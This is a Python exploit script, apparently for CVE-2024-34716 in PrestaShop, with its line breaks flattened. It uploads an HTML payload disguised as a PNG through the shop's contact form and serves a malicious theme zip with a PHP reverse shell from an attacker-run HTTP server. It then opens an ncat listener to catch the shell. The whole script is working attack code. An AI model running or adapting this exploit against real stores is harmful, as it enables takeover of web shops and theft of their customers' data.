import argparse, requests, subprocess, time, threading, atexit, http.server, socketserver,zipfile,shutil,os from bs4 import BeautifulSoup print_lock = threading.Lock() stop_event = threading.Event() def __parse_args(): parser = argparse.ArgumentParser(description="CVE-2024-34716 Exploit") parser.add_argument("--url", help="The Presta Shop base url.", required=True) parser.add_argument("--email", help="The email address of admin user.", required=True) parser.add_argument("--local-ip", help="Local HTTP Server IP.", required=True) parser.add_argument("--admin-path", help="The Presta Shop admin path.", required=True) args = parser.parse_args() host_url = args.url email = args.email local_ip = args.local_ip admin_path = args.admin_path print("[X] Starting exploit with:") print(f"\tUrl: {host_url}") print(f"\tEmail: {email}") print(f"\tLocal IP: {local_ip}") print(f"\tAdmin Path: {admin_path}") return (host_url, email, local_ip, admin_path) def send_get_requests(url, interval=5): while not stop_event.is_set(): try: response = requests.get(url) if response.status_code == 504 or response.status_code == 200: stop_event.set() return print(f"GET request to {url}: {response.status_code}") except requests.RequestException as e: with print_lock: print(f"Error during GET request: {e}") # Can comment this out if thread isn't stopped. time.sleep(interval) def run_http_server(): PORT = 5000 with socketserver.TCPServer(("", PORT), CustomRequestHandler) as httpd: with print_lock: print("Serving at http.Server on port", PORT) while not stop_event.is_set(): httpd.handle_request() def main(): host_url, email, local_ip, admin_path = __parse_args() with open('./exploit.html', 'r') as file: html_content = file.read() if host_url[-1] == '/': host_url = host_url[:-1] html_content = html_content.replace("BASE_URL", f'"{host_url}"') html_content = html_content.replace("ATTACKER_IP", f'"{local_ip}"') html_content = html_content.replace("ATTACKER_PORT", "5000") html_content = html_content.replace("ADMIN_PATH", f'"{admin_path}"') html_content = html_content.replace("FILE_NAME", '"ps_next_8_theme_malicious.zip"') with open('./reverse_shell_template.php', 'r') as file: reverse_shell_content = file.read() reverse_shell_content = reverse_shell_content.replace("ATTACKER_IP", f'"{local_ip}"') reverse_shell_content = reverse_shell_content.replace("ATTACKER_PORT", "12345") with open('./reverse_shell.php', 'w') as file: file.write(reverse_shell_content) shutil.copy('ps_next_8_theme_malicious_old.zip', 'ps_next_8_theme_malicious.zip') with zipfile.ZipFile('ps_next_8_theme_malicious.zip', 'a') as zipf: zipf.write('reverse_shell.php','reverse_shell_new.php') url = f"{host_url}/contact-us" response = requests.get(url) response.raise_for_status() soup = BeautifulSoup(response.text, 'html.parser') token = soup.find('input', {'name': 'token'})['value'] cookies = response.cookies files = { 'fileUpload': ('test.png', html_content, 'image/png'), } data = { 'id_contact': '2', 'from': email, 'message': 'pwned', 'url': '', 'token': token, 'submitMessage': 'Send' } response = requests.post(url, files=files, data=data, cookies=cookies) url = f"{host_url}/themes/next/reverse_shell_new.php" req_thread = threading.Thread(target=send_get_requests, args=(url, 15,)) req_thread.daemon = True req_thread.start() server_thread = threading.Thread(target=run_http_server) server_thread.daemon = True server_thread.start() if response.status_code == 200: print(f"[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.") output = subprocess.call(["ncat", "-lnvp", "12345"], shell=False) if b"Ncat: Connection from " in output: with print_lock: print("Stopping threads!") stop_event.set() else: print(f"DEBUG:: {output}") else: print(f"[!] Failed to send the message. Status code: {response.status_code} Reason: {response.reason}") def clean(): if os.path.exists('ps_next_8_theme_malicious.zip'): os.remove('ps_next_8_theme_malicious.zip') if os.path.exists('reverse_shell.php'): os.remove('reverse_shell.php') class CustomRequestHandler(http.server.SimpleHTTPRequestHandler): def log_request(self, code='-', size='-'): with print_lock: print(f"Request: {self.command} {self.path} {self.request_version}") print(f"Response: {code} {size}") super().log_request(code, size) if __name__ == "__main__": clean() atexit.register(clean) main()